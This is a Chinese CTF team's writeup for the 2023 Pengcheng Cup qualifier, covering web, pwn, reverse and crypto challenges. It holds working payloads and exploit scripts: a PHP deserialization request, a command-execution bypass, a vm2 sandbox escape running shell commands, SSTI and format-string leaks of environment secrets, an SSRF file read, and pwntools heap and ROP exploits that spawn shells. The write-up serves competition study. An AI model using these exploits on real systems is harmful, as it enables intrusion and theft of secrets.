2023 鹏城杯 初赛 Writeup by X1cT34m

2023 鹏城杯 初赛 Writeup by X1cT34m-小绿草信息安全实验室

Web

web1

<?php

class Hacker {
}

class H {
    public $username;
}

$b = new Hacker();

$a = new H();
$a->username = $b;

echo serialize($a);
?>
POST / HTTP/1.1
Host: 172.10.0.6
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 48

pop=O:1:"H":1:{s:8:"username";O:6:"Hacker":0:{}}

web2

Glob 协议 leak backdoor 文件名

import requests

dicts = '0123456789abcdef'
flag = ''

i = 1

while True:
    for s in dicts:
        print('testing', s)
        url = 'http://172.10.0.5/'
        res = requests.post(url, data={
            'filename': 'glob:///var/www/html/backdoor_*' + flag + s + '*',
        })
        if 'yesyesyes!!!' in res.text:
            flag += s
            print('found!!!', flag)
            break
    i += 1

Backdoor

<?php
highlight_file(__FILE__);
error_reporting(0);

if(isset($_GET['username'])){
    $sandbox = '/var/www/html/sandbox/'.md5("5050f6511ffb64e1914be4ca8b9d585c".$_GET['username']).'/';
    mkdir($sandbox);
    chdir($sandbox);

    if(isset($_GET['title'])&&isset($_GET['data'])){
        $data = $_GET['data'];
        $title= $_GET['title'];
        if (strlen($data)>5||strlen($title)>3){
            die("no!no!no!");
        }
        file_put_contents($sandbox.$title,$data);

        if (strlen(file_get_contents($title)) <= 10) {
            system('php '.$sandbox.$title);
        }
        else{
            system('rm '.$sandbox.$title);
            die("no!no!no!");
        }

    }
    else if (isset($_GET['reset'])) {
        system('/bin/rm -rf ' . $sandbox);
    }
}
?>

构造数组绕过长度限制, 直接命令执行查看 flag

GET /backdoor_00fbc51dcdf9eef767597fd26119a894.php?username=exp10it&title[]=123&data[]=<?=`nl+/*`; HTTP/1.1
Host: 172.10.0.5
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.10.0.5
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://172.10.0.5/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

simple_rpc

less import inline 语法读文件

/find_rpc?less=h5{@import%20(inline)%20'rpc.js';}
/find_rpc?less=h5{@import%20(inline)%20'eval.proto';}
/find_rpc?less=h5{@import%20(inline)%20'app.js';}
/find_rpc?less=h5{@import%20(inline)%20'package.json';}

rpc.js

var PROTO_PATH = __dirname + '/eval.proto';
const {VM} = require("vm2");
var grpc = require('@grpc/grpc-js');
var protoLoader = require('@grpc/proto-loader');
var packageDefinition = protoLoader.loadSync(
    PROTO_PATH,
    {keepCase: true,
        longs: String,
        enums: String,
        defaults: true,
        oneofs: true
    });
var hello_proto = grpc.loadPackageDefinition(packageDefinition).helloworld;

function evalTemplate(call, callback) {
    const vm = new VM();
    callback(null, {message:    vm.run(call.request.template) });
}

function main() {
    var server = new grpc.Server();
    server.addService(hello_proto.Demo.service, {evalTemplate: evalTemplate});
    server.bindAsync('0.0.0.0:8082', grpc.ServerCredentials.createInsecure(), () => {
        server.start();
    });
}

main()

eval.proto

syntax = "proto3";

package helloworld;

service Demo {
  rpc evalTemplate (TemplateRequest) returns (Reply) {}

}

message TemplateRequest {
  string template = 1;
}

message Reply {
  string message = 1;
}

package.json 中 vm2 版本为 3.9.15

构造 grpc client 打 vm2 沙箱逃逸

https://gist.github.com/leesh3288/f05730165799bf56d70391f3d9ea187c

const grpc = require('@grpc/grpc-js');
const protoLoader = require('@grpc/proto-loader');

const packageDefinition = protoLoader.loadSync(
  'eval.proto',
  {
    keepCase: true,
    longs: String,
    enums: String,
    defaults: true,
    oneofs: true
  }
);

const protoDescriptor = grpc.loadPackageDefinition(packageDefinition);

const client = new protoDescriptor.helloworld.Demo(
  '172.10.0.6:8082',
  grpc.credentials.createInsecure()
);

const code = `
aVM2_INTERNAL_TMPNAME = {};
function stack() {
    new Error().stack;
    stack();
}
try {
    stack();
} catch (a$tmpname) {
    a$tmpname.constructor.constructor('return process')().mainModule.require('child_process').execSync('/readflag').toString();
}
`;

client.evalTemplate({ template: code }, (error, response) => {
    if (error) {
      console.error(error);
      return;
    }
    console.log(response);
  });

Tera

Tera ssti

https://keats.github.io/tera/docs/

Flag 猜测在环境变量里面

通过 get_env + if starting_with / ending_with leak flag

import requests

dicts = '0123456789abcdef-'
# flag = '{3c8ce067-4df7-66b2-843a-04c6959'
flag = '-04c695904159}'

i = 1

while True:
    for s in dicts:
        print('testing', s)
        url = 'http://172.10.0.3:8081/'
        # data = r'{% set my_var = get_env(name="flac"|replace(from="c", to="g")) %}{% if my_var is starting_with("AAAg' + flag + s + '"|replace(from="AAA", to="fla")) %}true{% else %}false{% endif %}'
        data = r'{% set my_var = get_env(name="flac"|replace(from="c", to="g")) %}{% if my_var is ending_with("' + s + flag + '") %}true{% else %}false{% endif %}'
        # print(data)
        res = requests.post(url, data=data)
        if 'forbidden' in res.text:
            print('forbidden')
            exit()
        if 'true' in res.text:
            # flag += s
            flag = s + flag
            print('found!!!', flag)
            break
    i += 1

Escape

/source

from sqlite3 import *

from random import choice
from hashlib import sha512

from flask import Flask, request, Response

app = Flask(__name__)

salt = b'****************'

class PassHash(str):
    def __str__(self):
        return sha512(salt + self.encode()).hexdigest()

    def __repr__(self):
        return sha512(salt + self.encode()).hexdigest()

con = connect("users.db")
cur = con.cursor()
cur.execute("DROP TABLE IF EXISTS users")
cur.execute("CREATE TABLE users(username, passhash)")
passhash = PassHash(''.join(choice("0123456789") for _ in range(16)))
cur.execute(
    "INSERT INTO users VALUES (?, ?)",
    ("admin", str(passhash))
)
con.commit()

@app.route('/source')
def source():
    return Response(open(__file__).read(), mimetype="text/plain")

@app.route('/')
def index():
    if 'username' not in request.args or 'password' not in request.args:
        return open("index.html").read()
    else:
        username = request.args["username"]
        new_pwd = PassHash(request.args["password"])
        con = connect("users.db")
        cur = con.cursor()
        res = cur.execute(
            "SELECT * from users WHERE username = ? AND passhash = ?",
            (username, str(new_pwd))
        )
        if res.fetchone():
            return open("secret.html").read()
        return ("Sorry, we couldn't find a user '{user}' with password hash <code>{{passhash}}</code>!"
                .format(user=username)
                .format(passhash=new_pwd)
                )

if __name__ == "__main__":
    app.run('0.0.0.0', 10000)

Python 格式化字符串漏洞

获取 global 中的 passhash

/?username={passhash.__str__.__globals__[passhash]:>0}&password=2

然后传入

/?username=admin&password=3673940420288307

提示 flag 在环境变量里面

于是通过 flask app 找到 os 模块, 然后读取 environ 属性

/?username={passhash.__str__.__globals__[app].__init__.__globals__[os].environ}&password=2

HTTP

Swagger-ui 泄露

http://172.10.0.3:8080/swagger-ui/

/proxy/url 存在 ssrf, 过滤了 file:// netdoc:// 等协议

使用 url:file:// 绕过, 再传一个 query string 绕过 Only html can be viewed 限制

/proxy/url?url=url:file:///flag?html

Pwn

atuo_coffee_sale_machine

由于购买后没有立即同步库存导致可以uaf

把coffee库存那里改到stdout指针附近泄露libc,然后打freehook

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#s=process("./pwn")
s=remote("172.10.0.9",8888)
libc=ELF("./libc-2.31.so")

def menu(ch):
    s.sendlineafter(b">>>",str(ch).encode())

def admin():
    menu(4421)
    s.sendlineafter(b"password\n",b"just pwn it")

def uaf(id,off,content):
    admin()
    menu(2)
    s.sendlineafter(b">>>",str(id).encode())
    s.sendlineafter(b">>>",str(off).encode())
    s.sendafter(b"content\n",content)
    menu(3)

def buy(idx,cont=b""):
    menu(1)
    s.sendlineafter(b"buy\n",str(idx).encode())
    if cont!=b"":
        s.sendlineafter(b"Y/N\n",b"Y")
        s.sendafter(b"coffee\n",cont)
    else:
        s.sendlineafter(b"Y/N\n",b"N")

def repl(idx):
    admin()
    menu(1)
    s.sendlineafter(b">>>",str(idx).encode())
    menu(3)

def show():
    menu(2)

if __name__=="__main__":
    pause()
    buy(1)
    buy(1)
    repl(2)
    buy(1)
    uaf(1,3,p64(0x4062f0))
    repl(1)
    repl(1)
    uaf(1,2,p64(0x4062e0))
    show()
    s.recvuntil(b"1.")
    libc.address=u64(s.recv(6).ljust(8,b"\x00"))-(0x7f2cf77ca5c0-0x7f2cf75dd000)
    success(hex(libc.address))
    pause()
    buy(3)
    buy(3)
    repl(1)
    buy(3)
    uaf(3,3,p64(libc.sym.__free_hook))
    repl(3)
    repl(3)
    uaf(3,2,p64(libc.sym.system))
    buy(1,b"/bin/sh\x00")
    s.interactive()

Silent

把stdout改成syscall地址,leak libc打ROP

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#s=process("./silent")
s=remote("172.10.0.8",9999)
libc=ELF("./libc-2.27.so")

if __name__=="__main__":
    pad=b"A"*0x40
    rdi=0x0000000000400963
    rsi_r15=0x0000000000400961
    rbp=0x0000000000400788
    rsp_r13_r15=0x000000000040095d
    bss=0x601040
    fake_rbp=bss+0x40
    pivot_read=0x4008DC
    csu1=0x40095A
    csu2=0x400940

    p=flat([
        pad,b"a"*8,
        csu1,0,1,0x600fe0,0,bss+0x800,0x400,
        csu2,0,0,0,0,0,0,0,
        rsp_r13_r15,bss+0x800-0x10,
    ])
    s.send(p)
    # 0x4007ff: add byte ptr [rbp + 0x48], dl ; mov ebp, esp ; pop rbp ; jmp 0x400790
    magic=0x4007ff
    # 0x4007e8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
    magic2=0x4007e8
    pause()
    p=flat([
        rdi+1,
        csu1,0,1,bss+0x800,0,0,0,
        csu2,0,0x100000000-0x73e97760+0x73bbb02f,0x601020+0x3d,0,0,0,0,
        magic2,
        csu1,0,1,0x600fe0,0,0x602000,8,
        csu2,0,0,1,0x601020,1,0x600fe0,8,
        csu2,0,0,1,0x600fe0,0,bss+0x600,0x400,
        csu2,0,0,0,0,0,0,0,
        rsp_r13_r15,bss+0x600-0x18,
    ])+b"/flag"
    s.send(p)
    p=b"a"*1
    s.send(p)
    dat=s.recv(8,timeout=2)
    if dat==b"" or dat=="timeout:":
        raise EOFError
    libc.address=u64(dat)-libc.sym.read
    success(hex(libc.address))
    context.log_level="debug"
    pause()
    rsi=libc.address+0x0000000000023a6a
    rdx=libc.address+0x0000000000130516
    p=flat([
        rdi,0x6019d0,
        rsi,0,
        rdx,0,
        libc.sym.open,
        rdi,3,
        rsi,0x602000,
        rdx,0x100,
        libc.sym.read,
        rdi,1,
        libc.sym.write
    ])
    s.send(p)
    s.interactive()

Baby heap

伪造堆块,Off by null清掉in use打堆重叠泄露libc,然后largebin attack打IO_list_all,house of apple 2

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#s=process("./babyheap")
s=remote("172.10.0.7",10001)
libc=ELF("./libc.so.6")

def menu(ch):
    s.sendlineafter(b">> \n",str(ch).encode())

def add(size,content=b"/bin/sh\x00"):
    menu(1)
    s.sendlineafter(b"size\n",str(size).encode())
    if len(content)<size:
        content+=b"\n"
    s.sendafter(b"name\n",content)

def edit(idx,size,content):
    menu(2)
    s.sendlineafter(b"index\n",str(idx).encode())
    s.sendlineafter(b"size\n",str(size).encode())
    s.sendlineafter(b"name\n",content)

def show(idx,):
    menu(3)
    s.sendlineafter(b"index\n",str(idx).encode())
    return s.recvline()[:-1]

def delete(idx):
    menu(4)
    s.sendlineafter(b"index\n",str(idx).encode())

if __name__=="__main__":
    s.recvuntil(b"easier\n")
    heap_base=eval(s.recvline()[:-1])&(~0xfff)
    success(hex(heap_base))
    pause()
    for i in range(4):
        add(0x428)
    add(0x4f8)
    add(0x408)
    edit(3,0x428,b"a"*0x420+p64(0x10b0))
    edit(0,0x428,flat([
        0,0x10b1,
        heap_base+0x2e0-0x20,heap_base+0x2e0-0x20,
        heap_base+0x2c0,heap_base+0x2c0,
    ]))
    delete(4)
    add(0x418) # 4
    for i in range(3):
        add(0x428)
    add(0x4f8)
    delete(3) # 0x428 #8
    add(0x438)
    dat=show(8)
    libc.address=u64(dat.ljust(8,b"\x00"))-(0x7f64c06d90f0-0x7f64c04da000)
    success(hex(libc.address))

    edit(8,0x20,flat([0,0,0,libc.sym["_IO_list_all"]-0x20]))
    delete(4)
    add(0x458)

    iostru_base=heap_base+0x2c0
    ropp=ROP(libc)
    leave_ret=ropp.find_gadget(["leave","ret"])[0]
    rbp=ropp.find_gadget(["pop rbp","ret"])[0]
    rsp=ropp.find_gadget(["pop rsp","ret"])[0]
    info(hex(leave_ret))
    fakeio=FileStructure()
    fakeio.vtable=libc.sym["_IO_wfile_jumps"]
    fakeio._IO_write_base=0
    fakeio._IO_write_ptr=1
    fakeio.flags=u32(b"  sh")
    fakeio._wide_data= heap_base+0x6f0
    fakeio._codecvt = iostru_base
    fakeio.chain=leave_ret
    fakeio._lock=libc.address+(0x7f4bbbf748e0-0x7f4bbbd74000)
    fakeio=bytes(fakeio)

    edit(0,len((fakeio)),(fakeio))
    rdi=ropp.find_gadget(["pop rdi","ret"])[0]
    binsh=libc.search(b"/bin/sh").__next__()

    rop_chain=flat({
        0x40:[rdi,binsh,libc.sym.system],
        0x60:[libc.sym.system],
        0xe0:[heap_base+0x6f0+0x60-0x68]
    },filler=b"\x00")
    edit(1,len(rop_chain),rop_chain)
    stack_pivot=flat({
        8: heap_base+0,
        0x20: libc.sym.setcontext+61,
        0xa0: heap_base+0x6f0+0x40,
    },filler=b"\x00")
    edit(4,len(stack_pivot),stack_pivot)
    menu(5)
    s.sendline(b"cat flag")
    s.interactive()

Reverse

Re-bad_pe

2023 鹏城杯 初赛 Writeup by X1cT34m-小绿草信息安全实验室

确实很BAD,根本跑不起来。IDA看一下程序逻辑。

2023 鹏城杯 初赛 Writeup by X1cT34m-小绿草信息安全实验室

我们提取出内存中运行的EXE,分析下逻辑

2023 鹏城杯 初赛 Writeup by X1cT34m-小绿草信息安全实验室

RC4加密,密钥密文都给了,拿去解密一下就行。

2023 鹏城杯 初赛 Writeup by X1cT34m-小绿草信息安全实验室

Re-安全编程

linux里跑一下,发现是个猜数的游戏。我们IDA分析下会发现是个RUST的程序。

2023 鹏城杯 初赛 Writeup by X1cT34m-小绿草信息安全实验室

上图为关键逻辑,猜数,要求100次猜测正确,才会解密图片。这里可以对这个判断进行补丁,这样就可以拿到解密后的图片。很有趣的一道题目( ̄y▽, ̄)╭ 。

Re-beautiful flowers

直接贴解密脚本了

tableA = [0x0000003A, 0x00000032, 0x0000002A, 0x00000022, 0x0000001A, 0x00000012, 0x0000000A, 0x00000002,
          0x0000003C, 0x00000034, 0x0000002C, 0x00000024, 0x0000001C, 0x00000014, 0x0000000C, 0x00000004,
          0x0000003E, 0x00000036, 0x0000002E, 0x00000026, 0x0000001E, 0x00000016, 0x0000000E, 0x00000006,
          0x00000040, 0x00000038, 0x00000030, 0x00000028, 0x00000020, 0x00000018, 0x00000010, 0x00000008,
          0x00000039, 0x00000031, 0x00000029, 0x00000021, 0x00000019, 0x00000011, 0x00000009, 0x00000001,
          0x0000003B, 0x00000033, 0x0000002B, 0x00000023, 0x0000001B, 0x00000013, 0x0000000B, 0x00000003,
          0x0000003D, 0x00000035, 0x0000002D, 0x00000025, 0x0000001D, 0x00000015, 0x0000000D, 0x00000005,
          0x0000003F, 0x00000037, 0x0000002F, 0x00000027, 0x0000001F, 0x00000017, 0x0000000F, 0x00000007]

tableB = [0x00000020, 0x00000001, 0x00000002, 0x00000003, 0x00000004, 0x00000005, 0x00000004, 0x00000005,
          0x00000006, 0x00000007, 0x00000008, 0x00000009, 0x00000008, 0x00000009, 0x0000000A, 0x0000000B,
          0x0000000C, 0x0000000D, 0x0000000C, 0x0000000D, 0x0000000E, 0x0000000F, 0x00000010, 0x00000011,
          0x00000010, 0x00000011, 0x00000012, 0x00000013, 0x00000014, 0x00000015, 0x00000014, 0x00000015,
          0x00000016, 0x00000017, 0x00000018, 0x00000019, 0x00000018, 0x00000019, 0x0000001A, 0x0000001B,
          0x0000001C, 0x0000001D, 0x0000001C, 0x0000001D, 0x0000001E, 0x0000001F, 0x00000020, 0x00000001]

tableC = [
    0x0000000E, 0x00000004, 0x0000000D, 0x00000001, 0x00000002, 0x0000000F, 0x0000000B, 0x00000008,
    0x00000003, 0x0000000A, 0x00000006, 0x0000000C, 0x00000005, 0x00000009, 0x00000000, 0x00000007,
    0x00000000, 0x0000000F, 0x00000007, 0x00000004, 0x0000000E, 0x00000002, 0x0000000D, 0x00000001,
    0x0000000A, 0x00000006, 0x0000000C, 0x0000000B, 0x00000009, 0x00000005, 0x00000003, 0x00000008,
    0x00000004, 0x00000001, 0x0000000E, 0x00000008, 0x0000000D, 0x00000006, 0x00000002, 0x0000000B,
    0x0000000F, 0x0000000C, 0x00000009, 0x00000007, 0x00000003, 0x0000000A, 0x00000005, 0x00000000,
    0x0000000F, 0x0000000C, 0x00000008, 0x00000002, 0x00000004, 0x00000009, 0x00000001, 0x00000007,
    0x00000005, 0x0000000B, 0x00000003, 0x0000000E, 0x0000000A, 0x00000000, 0x00000006, 0x0000000D,
    0x0000000F, 0x00000001, 0x00000008, 0x0000000E, 0x00000006, 0x0000000B, 0x00000003, 0x00000004,
    0x00000009, 0x00000007, 0x00000002, 0x0000000D, 0x0000000C, 0x00000000, 0x00000005, 0x0000000A,
    0x00000003, 0x0000000D, 0x00000004, 0x00000007, 0x0000000F, 0x00000002, 0x00000008, 0x0000000E,
    0x0000000C, 0x00000000, 0x00000001, 0x0000000A, 0x00000006, 0x00000009, 0x0000000B, 0x00000005,
    0x00000000, 0x0000000E, 0x00000007, 0x0000000B, 0x0000000A, 0x00000004, 0x0000000D, 0x00000001,
    0x00000005, 0x00000008, 0x0000000C, 0x00000006, 0x00000009, 0x00000003, 0x00000002, 0x0000000F,
    0x0000000D, 0x00000008, 0x0000000A, 0x00000001, 0x00000003, 0x0000000F, 0x00000004, 0x00000002,
    0x0000000B, 0x00000006, 0x00000007, 0x0000000C, 0x00000000, 0x00000005, 0x0000000E, 0x00000009,
    0x0000000A, 0x00000000, 0x00000009, 0x0000000E, 0x00000006, 0x00000003, 0x0000000F, 0x00000005,
    0x00000001, 0x0000000D, 0x0000000C, 0x00000007, 0x0000000B, 0x00000004, 0x00000002, 0x00000008,
    0x0000000D, 0x00000007, 0x00000000, 0x00000009, 0x00000003, 0x00000004, 0x00000006, 0x0000000A,
    0x00000002, 0x00000008, 0x00000005, 0x0000000E, 0x0000000C, 0x0000000B, 0x0000000F, 0x00000001,
    0x0000000D, 0x00000006, 0x00000004, 0x00000009, 0x00000008, 0x0000000F, 0x00000003, 0x00000000,
    0x0000000B, 0x00000001, 0x00000002, 0x0000000C, 0x00000005, 0x0000000A, 0x0000000E, 0x00000007,
    0x00000001, 0x0000000A, 0x0000000D, 0x00000000, 0x00000006, 0x00000009, 0x00000008, 0x00000007,
    0x00000004, 0x0000000F, 0x0000000E, 0x00000003, 0x0000000B, 0x00000005, 0x00000002, 0x0000000C,
    0x00000007, 0x0000000D, 0x0000000E, 0x00000003, 0x00000000, 0x00000006, 0x00000009, 0x0000000A,
    0x00000001, 0x00000002, 0x00000008, 0x00000005, 0x0000000B, 0x0000000C, 0x00000004, 0x0000000F,
    0x0000000D, 0x00000008, 0x0000000B, 0x00000005, 0x00000006, 0x0000000F, 0x00000000, 0x00000003,
    0x00000004, 0x00000007, 0x00000002, 0x0000000C, 0x00000001, 0x0000000A, 0x0000000E, 0x00000009,
    0x0000000A, 0x00000006, 0x00000009, 0x00000000, 0x0000000C, 0x0000000B, 0x00000007, 0x0000000D,
    0x0000000F, 0x00000001, 0x00000003, 0x0000000E, 0x00000005, 0x00000002, 0x00000008, 0x00000004,
    0x00000003, 0x0000000F, 0x00000000, 0x00000006, 0x0000000A, 0x00000001, 0x0000000D, 0x00000008,
    0x00000009, 0x00000004, 0x00000005, 0x0000000B, 0x0000000C, 0x00000007, 0x00000002, 0x0000000E,
    0x00000002, 0x0000000C, 0x00000004, 0x00000001, 0x00000007, 0x0000000A, 0x0000000B, 0x00000006,
    0x00000008, 0x00000005, 0x00000003, 0x0000000F, 0x0000000D, 0x00000000, 0x0000000E, 0x00000009,
    0x0000000E, 0x0000000B, 0x00000002, 0x0000000C, 0x00000004, 0x00000007, 0x0000000D, 0x00000001,
    0x00000005, 0x00000000, 0x0000000F, 0x0000000A, 0x00000003, 0x00000009, 0x00000008, 0x00000006,
    0x00000004, 0x00000002, 0x00000001, 0x0000000B, 0x0000000A, 0x0000000D, 0x00000007, 0x00000008,
    0x0000000F, 0x00000009, 0x0000000C, 0x00000005, 0x00000006, 0x00000003, 0x00000000, 0x0000000E,
    0x0000000B, 0x00000008, 0x0000000C, 0x00000007, 0x00000001, 0x0000000E, 0x00000002, 0x0000000D,
    0x00000006, 0x0000000F, 0x00000000, 0x00000009, 0x0000000A, 0x00000004, 0x00000005, 0x00000003,
    0x0000000C, 0x00000001, 0x0000000A, 0x0000000F, 0x00000009, 0x00000002, 0x00000006, 0x00000008,
    0x00000000, 0x0000000D, 0x00000003, 0x00000004, 0x0000000E, 0x00000007, 0x00000005, 0x0000000B,
    0x0000000A, 0x0000000F, 0x00000004, 0x00000002, 0x00000007, 0x0000000C, 0x00000009, 0x00000005,
    0x00000006, 0x00000001, 0x0000000D, 0x0000000E, 0x00000000, 0x0000000B, 0x00000003, 0x00000008,
    0x00000009, 0x0000000E, 0x0000000F, 0x00000005, 0x00000002, 0x00000008, 0x0000000C, 0x00000003,
    0x00000007, 0x00000000, 0x00000004, 0x0000000A, 0x00000001, 0x0000000D, 0x0000000B, 0x00000006,
    0x00000004, 0x00000003, 0x00000002, 0x0000000C, 0x00000009, 0x00000005, 0x0000000F, 0x0000000A,
    0x0000000B, 0x0000000E, 0x00000001, 0x00000007, 0x00000006, 0x00000000, 0x00000008, 0x0000000D,
    0x00000004, 0x0000000B, 0x00000002, 0x0000000E, 0x0000000F, 0x00000000, 0x00000008, 0x0000000D,
    0x00000003, 0x0000000C, 0x00000009, 0x00000007, 0x00000005, 0x0000000A, 0x00000006, 0x00000001,
    0x0000000D, 0x00000000, 0x0000000B, 0x00000007, 0x00000004, 0x00000009, 0x00000001, 0x0000000A,
    0x0000000E, 0x00000003, 0x00000005, 0x0000000C, 0x00000002, 0x0000000F, 0x00000008, 0x00000006,
    0x00000001, 0x00000004, 0x0000000B, 0x0000000D, 0x0000000C, 0x00000003, 0x00000007, 0x0000000E,
    0x0000000A, 0x0000000F, 0x00000006, 0x00000008, 0x00000000, 0x00000005, 0x00000009, 0x00000002,
    0x00000006, 0x0000000B, 0x0000000D, 0x00000008, 0x00000001, 0x00000004, 0x0000000A, 0x00000007,
    0x00000009, 0x00000005, 0x00000000, 0x0000000F, 0x0000000E, 0x00000002, 0x00000003, 0x0000000C,
    0x0000000D, 0x00000002, 0x00000008, 0x00000004, 0x00000006, 0x0000000F, 0x0000000B, 0x00000001,
    0x0000000A, 0x00000009, 0x00000003, 0x0000000E, 0x00000005, 0x00000000, 0x0000000C, 0x00000007,
    0x00000001, 0x0000000F, 0x0000000D, 0x00000008, 0x0000000A, 0x00000003, 0x00000007, 0x00000004,
    0x0000000C, 0x00000005, 0x00000006, 0x0000000B, 0x00000000, 0x0000000E, 0x00000009, 0x00000002,
    0x00000007, 0x0000000B, 0x00000004, 0x00000001, 0x00000009, 0x0000000C, 0x0000000E, 0x00000002,
    0x00000000, 0x00000006, 0x0000000A, 0x0000000D, 0x0000000F, 0x00000003, 0x00000005, 0x00000008,
    0x00000002, 0x00000001, 0x0000000E, 0x00000007, 0x00000004, 0x0000000A, 0x00000008, 0x0000000D,
    0x0000000F, 0x0000000C, 0x00000009, 0x00000000, 0x00000003, 0x00000005, 0x00000006, 0x0000000B]

tableD = [
    0x00000010, 0x00000007, 0x00000014, 0x00000015, 0x0000001D, 0x0000000C, 0x0000001C, 0x00000011,
    0x00000001, 0x0000000F, 0x00000017, 0x0000001A, 0x00000005, 0x00000012, 0x0000001F, 0x0000000A,
    0x00000002, 0x00000008, 0x00000018, 0x0000000E, 0x00000020, 0x0000001B, 0x00000003, 0x00000009,
    0x00000013, 0x0000000D, 0x0000001E, 0x00000006, 0x00000016, 0x0000000B, 0x00000004, 0x00000019
]

tableE = [
    0x00000028, 0x00000008, 0x00000030, 0x00000010, 0x00000038, 0x00000018, 0x00000040, 0x00000020,
    0x00000027, 0x00000007, 0x0000002F, 0x0000000F, 0x00000037, 0x00000017, 0x0000003F, 0x0000001F,
    0x00000026, 0x00000006, 0x0000002E, 0x0000000E, 0x00000036, 0x00000016, 0x0000003E, 0x0000001E,
    0x00000025, 0x00000005, 0x0000002D, 0x0000000D, 0x00000035, 0x00000015, 0x0000003D, 0x0000001D,
    0x00000024, 0x00000004, 0x0000002C, 0x0000000C, 0x00000034, 0x00000014, 0x0000003C, 0x0000001C,
    0x00000023, 0x00000003, 0x0000002B, 0x0000000B, 0x00000033, 0x00000013, 0x0000003B, 0x0000001B,
    0x00000022, 0x00000002, 0x0000002A, 0x0000000A, 0x00000032, 0x00000012, 0x0000003A, 0x0000001A,
    0x00000021, 0x00000001, 0x00000029, 0x00000009, 0x00000031, 0x00000011, 0x00000039, 0x00000019
]

keyTable = ["110010000110101100010000100011101011001000011001", "000001001011111100011001011100110101011101100000", "010001110011010001000011000110001000100100101010", "011010111100110011000000110001000111110000010100", "010110001110000110001010011010010010001011111000", "001100001000010100011011101100011101100000001011", "011001010000100000000111000001100001011000110110", "001000111010100010010100100111010010100111100100",
            "110000000101010001001101010001010110001000100101", "010000011100101101000100111100100010100011001000", "000000001111100110100011101000001001001100011111", "101100010010010101100011000101110011011010100010", "111000010100011010000001011111000000100101100001", "010100011001001110010100000000101110100001011110", "000101001001000011010011011001011011010110010000", "110010000110101100010000100011101011001000011001"]

def inverse_permutation(s, t):
    inv = ['0'] * len(t)
    for i, p in enumerate(t):
        inv[p-1] = s[i]
    return ''.join(inv)

def xor_str(s1, s2):
    return ''.join('1' if a != b else '0' for a, b in zip(s1, s2))

def bin_to_hex(s):
    return ''.join(hex(int(s[i:i+4], 2))[2:].upper() for i in range(0, len(s), 4))

def hex_to_bin(s):
    return ''.join(f"{int(c, 16):04b}" for c in s)

encrypted_hex = "EDA8F5322AC8FF24"
encrypted_bin = hex_to_bin(encrypted_hex)
new_str = inverse_permutation(encrypted_bin, tableE)
R, L = new_str[:32], new_str[32:]

for i in reversed(range(16)):
    temp = ''.join(L[j-1] for j in tableB)
    temp = xor_str(temp, keyTable[i])
    binary_result = ''
    for i in range(8):
        sub_string = temp[6*i:6*i+6]
        index = int(sub_string[0] + sub_string[5] + sub_string[1:5], 2)
        binary_result += format(tableC[i*64 + index], '04b')
    temp = ''.join(binary_result[j-1] for j in tableD)
    temp = xor_str(R, temp)
    R, L = L, temp

new_str = inverse_permutation(L + R, tableA)
initial_hex = bin_to_hex(new_str)
print("初始的十六进制字符串为:", initial_hex)

Crypto

Neltharion_and_Arthas

思路:

第一部分是CTR分组模式,加密的时候KEY和计数器基本都是预处理,所以我们不需要去找到key1,直接求出原有的keystream就好,利用keystream去还原明文,而在此之前我们可以利用2023: 这个已知明文,去还原一部分的明文,根据明文I am D,以及简单的社会工程搜索,就得到了原文。有已知明文之后直接还原就可以

第二部分是CBC分组模式,其中部分key已知,我们只要暴力求解,使得还原的密文末端与题目所给的相符即可,一根烟的功夫就跑出来了,然后按照正常人的逻辑思路去还原之前的的向量就好。

最后组合一下数字。

256import binascii
import hashlib
from Crypto.Util.strxor import strxor
import itertools
import string
from Crypto.Cipher import AES
from Crypto.Util.number import *
import os

#flag1:
def xor(a,b):
    assert len(a)==len(b)
    A = bytes_to_long(a)
    B = bytes_to_long(b)
    return long_to_bytes(A^B)

c = long_to_bytes(0xbad7dbcff968d7cdbf51da011fe94e176fc8e7528e4dd85d2d5fc20ba69cefb7bfd03152a2874705bd2d857ea75b3216a830215db74772d9b9e9c218271d562694d3642d2917972fdb8c7363d8125730a50824cd8dc7e34cd4fa54be427cca)
t = long_to_bytes(0x0c1c78891e30cd4c0aa5ed65c17e8550429c4e640881f9f1d6a56df) #flag

keystream = (xor(c[:54],b'I am Deathwing, the Destroyer, the end of all things. '))
print(xor(t,keystream[:27]))

#爆:
def xor(a,b):
    assert len(a)==len(b)
    A = bytes_to_long(a)
    B = bytes_to_long(b)
    return long_to_bytes(A^B)

def recover(m,c,key):
    tmp = AES.new(key,AES.MODE_ECB) 
    return xor(tmp.decrypt(c),m).hex()

text = long_to_bytes(0x918096cfa3b76d6622914395c7e28eef)
dict1 = '\'\"?<>,.!@#$%^&*()-+=/\\{}[]:'
for i in itertools.product(string.ascii_letters+string.digits+dict1, repeat=4):
    key = 'tn'+i[0]+'-ix6L'+i[1]+'tCa'+i[2]+'}i'+i[3]
    key = key.encode()
    h = binascii.unhexlify(hashlib.sha256(key).hexdigest())[:11]
    msg = b'I tell you this, for when my days have come to an end , you, shall be King.'+h
    padding = bytes((16 - len(msg) % 16) * '&', encoding='utf-8')
    msg += padding
    result = recover(msg[-16:],text,key)
    if(result[-10:]=='fee046b4d2'):
        print(key)
    break

#flag2:
key = b'tn5-ix6L#tCaG}i6'
h = binascii.unhexlify(hashlib.sha256(key).hexdigest())[:11]
